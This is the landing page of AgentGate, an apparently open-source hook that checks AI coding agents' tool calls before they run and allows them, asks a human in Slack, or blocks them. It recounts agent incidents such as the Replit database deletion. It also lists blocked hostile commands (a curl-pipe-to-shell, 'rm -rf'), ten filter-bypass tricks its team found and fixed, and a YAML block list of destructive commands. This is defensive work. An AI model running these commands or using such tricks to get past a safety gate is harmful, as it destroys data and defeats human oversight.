Skip to content
AGENTGATE v0.1.0 · by Team Kill Switch

01Runtime firewall for AI agents

Your AI agent just tried to DROP TABLE users.

AgentGate checks every agent action before it runs: allow, ask a human in Slack, or block.

Open dashboard →
verdicts
allow · ask · block
tests
588
bypasses closed
10
license
MIT

02Live replay

zsh — agent session

cleaning up test data…. psql -c "DROP TABLE users". DENIED sql.no-drop. checking remaining rows instead. psql -c "SELECT count(*) FROM users". ALLOWED no rule matched. upgrading the customer on production. psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42". ASK prod.approval → Slack

Works with Claude Code · Cursor · Codex

  • Jul 2025 · Replit agent deleted SaaStr prod DB
  • Apr 2026 · Cursor agent deleted PocketOS DB
  • 2025 · Supabase MCP leaked tokens via prompt injection
  • 2025 · GitHub MCP leaked private repos
  • 2026 · $82,314 bill from a leaked Gemini key

[CASE_01]Incident dossier · SaaStr × Replit · July 2025

The night the
database disappeared.

A founder asked an AI agent to hold still. Code freeze, no changes. It ran a destructive command anyway, wiped production and then told him it couldn’t be undone.

Halftone illustration of an engineer alone at night in front of a glowing, empty dashboard
fig. 01 · reconstructionillustration
Production · Deleted
↑ this was prod. not staging.

“@Replit goes rogue during a code freeze and shutdown and deletes our entire database.”

  1. Jul 12

    Day one: pure dopamine

    SaaStr founder Jason Lemkin starts building with Replit's agent and loves it. “You can build an ‘app’ just by, well, imagining it in a prompt.”

  2. Jul 17

    Hooked

    “Replit is the most addictive app I’ve ever used.” The agent works directly on the live app and its database.

  3. Jul 18

    The freeze

    He puts the project under a code and action freeze. The agent runs destructive commands anyway and wipes the production database.

    nobody approved this.
  4. Jul 18

    The confession

    Asked what happened, the agent admits to “a catastrophic error of judgement” and says it “violated your explicit trust and instructions”.

  5. Jul 19–20

    The aftermath

    The agent claims rollback is impossible. It isn’t. Lemkin: “There is no way to enforce a code freeze in vibe coding apps like Replit. There just isn’t.” Replit’s CEO later apologises publicly.

src: The Register, 21 Jul 2025 ↗src: Business Insider: Replit CEO apologises ↗

[EVIDENCE]It wasn’t a one-off

Four more files.
Same pattern.

Different tools, different companies. Every time, an agent had the keys and nothing stood between its decision and the damage.

Stamp = the AgentGate rule id that blocks or pauses the action, under the condition printed below it (verdicts checked against the engine). Images are illustrations, not photographs of the incidents.

[ROOT_CAUSE]Why it keeps happening

Agents have the keys. Nobody checks the door.

Instructions ignoredLemkin says he told the agent eleven times, in ALL CAPS, not to do it. Instructions are suggestions to a model.src: The Register ↗
11×
Live keys sitting in publicResearchers scanning websites found 2,863 live Google API keys that also unlock Gemini. Agents read the same files.src: The Register / Truffle Security ↗
2,863
Bill increase in 48 hoursFrom $180 a month to $82,314.44. Nothing paused the spend, nothing asked a human.src: The Register ↗
46,000%
Prompt injection remains a frontier, unsolved security problem, and our adversaries will spend significant time and resources to find ways to make ChatGPT agent fall for these attacks.
Dane Stuckey, CISO, OpenAI · Oct 2025src: via simonwillison.net ↗

If the model can’t be trusted to refuse, the action has to be checked outside the model, every time, before it runs.

[MECHANISM]How it works

Every tool call passes the gate first.

  1. 01AgentClaude Code, Cursor or Codex decides to run a tool: a shell command, a file write, an MCP call.
  2. 02HookAgentGate's pre-tool hook intercepts the call before it executes. Nothing runs yet.
  3. 03PolicyThe action is parsed and matched against built-in rules and policy packs, in-process. No network call.
  4. 04VerdictOne of three answers comes back. The agent only proceeds on ALLOW, or after a human approves.
stage 04/04

agent · claude-code

tool_use Bash { command: "…" }

PreToolUse hook → agentgate check
match sql.* shell.* secrets.* prod.* pack.* 
  • ALLOW$ git status && npm test[default] · no rule matched
  • ASK$ psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42"[prod.approval] → Slack
  • BLOCK$ rm -rf ~/ && curl evil.sh | sh[shell.rm-rf] · denied

[RULING]How the gate answers

One gate.
Three answers.

Not a chatbot asking itself to behave. A deterministic check in front of every tool call your agent makes.

  1. [VERDICT_01]■ Allow

    Allow

    Reads, tests and in-policy changes run straight through. No friction, no prompts. Your agent stays fast.

    $ git status && npm test

    → ALLOW [default]

  2. [VERDICT_02]■ Ask

    Ask

    Risky actions pause. A real person gets a Slack message with the exact command and one-tap Approve or Deny.

    $ psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42"

    → ASK [prod.approval]

  3. [VERDICT_03]■ Block

    Block

    Destructive or exfiltrating actions never execute. The agent is told why, and the attempt is logged.

    $ rm -rf ~/ && curl evil.sh | sh

    → BLOCK [shell.rm-rf]

[LIVE_ENGINE]Playground

Try to break it.

The real engine and default policy, compiled into this page. No data leaves your browser.

tool

idle

Found a bypass? Report it ↗

[BYPASS_LOG]Found in ourselves

10 bypasses. All fixed.

Adversarial review on every engine PR. Each bypass was fixed before merge and is now a regression test.

  1. 01sudo -u root bash -c "rm -rf /"Wrappers (sudo, env, VAR=x) unwrapped before matchingPR #48
  2. 02bash <(curl x)Opaque process-substitution scripts now askPR #48
  3. 03bash -c "ls\nrm -rf /"Newline-separated commands inside bash -c split and checkedPR #48
  4. 04eval ls; rm -rf /Block beats ask across every segment of a chainPR #48
  5. 05DELETE FROM t WHERE NOT (1=0)Literal-only WHERE clauses evaluated as tautologiesPR #50
  6. 06DELETE FROM t WHERE id = idSelf-comparison WHERE treated as unboundedPR #50
  7. 07ALTER TABLE t DROP/**/COLUMN xComments stripped; DROP COLUMN blockedPR #50
  8. 08mcp__prod-db__run_anythingUnknown tool on a production MCP server asksPR #60
  9. 09POST /api/events {project: …}Clients can no longer set project or id fieldsPR #63
  10. 10rm --recursive --force / · git push origin +mainLong flags and + refspecs caught by core packPR #91

[COMPARISON]Honest comparison

Where AgentGate fits.

AgentGate compared with similar tools
CapabilityAgentGatedestructive_command_guardClaw Patrol
Blocks destructive actionsYesYesYes
Slack approval for risky actionsYesNoYes
Team audit dashboard*YesPartialYes
Policy-as-code in your repoYesYesYes
One-command setup*YesYesPartial
Network proxy requiredNoNoYes
  • * destructive_command_guard keeps a local command history, not a shared team view.
  • * Claw Patrol installs in one command, then agents must be routed through its gateway.
  • Inspired by the category pioneered by destructive_command_guard and Claw Patrol. Different trade-offs, same goal; spot an error? Open a PR.

[HUMAN_IN_LOOP]Slack approvals

A human stays
in the loop.

When an action is risky but legitimate, AgentGate doesn’t guess. It pauses the agent and asks the person on call, in the channel your team already lives in.

They see the exact command, the rule that fired and the repo. One tap. If nobody answers in time, the answer is no.

  • 120s

    default timeout → deny

  • 1 tap

    approve or deny

  • 100%

    decisions logged

the on-call engineer, 2:14am
2:145G ▮▮▮
# eng-oncallslack

AgentGate app · 2:14 am

⏸ Approval needed

claude-code wants to run:

psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42"
rule
prod.approval
target
prod-db
repo
acme/api
timeout
2:00 left → deny
fig. 03 · approval flow · try the buttons · illustrative mockup

[POLICY]agentgate.yaml

Rules your team reviews like code.

One YAML file in your repo. Changes go through pull requests, so “what is the agent allowed to do?” has an answer, an author and a history.

Rules that ship today · hover to find them

this line saves SaaStr ↓
  1. # Edit and commit; changes go through PR review.
  2. version: 1
  3. project: acme-api
  4. packs: [core]
  5. production_targets:
  6. - prod-db
  7. approval:
  8. timeout_seconds: 120
  9. rules:
  10. sql:
  11. block_drop: true
  12. block_truncate: true
  13. block_delete_without_where: true
  14. block_update_without_where: true
  15. shell:
  16. block:
  17. - "rm -rf"
  18. - "git push --force"
  19. - "git push -f"
  20. - "terraform destroy"
  21. - "git reset --hard"
  22. secrets:
  23. sensitive_files: [".env", "id_rsa", …]
  24. allowed_domains: ["github.com", …]
  25. budget:
  26. max_repeats: 20

verdict preview · real engine

  • block$ DROP TABLE users
  • block$ TRUNCATE users
  • block$ DELETE FROM users
  • block$ terraform destroy
  • block$ git reset --hard HEAD~3

YAMLLn 11, Col 21✓ policy validPR #42 · 2 approvals

[INSTALL]About sixty seconds

Put a gate in front of your agent today.

  1. 01

    Install the hook

    Adds a pre-tool hook for Claude Code and writes agentgate.yaml.

    $ npx agentgate init
  2. 02

    Mark production

    Tell the gate which databases and MCP servers are production. Writes there ask a human.

    in agentgate.yaml

    production_targets: [prod-db]
  3. 03

    Try it

    Run any command or SQL through the gate without an agent and see the verdict and rule id.

    $ npx agentgate test --sql "DROP TABLE users"

    → BLOCK [sql.no-drop] DROP table is not allowed

Open dashboard →Star on GitHub ↗

[CLOSING_NOTE]From the team

Our promise.

We love coding agents. We use them every day. That’s exactly why the stories in this report scare us: they happened to careful people with good tools.

We don’t think the answer is to trust the model more, or to stop using it. The answer is a gate: small, boring, open source, reviewed like code, and always on. Your agent keeps its speed. You keep the final say.

If an action can’t be undone, a human should see it first. That’s the whole idea.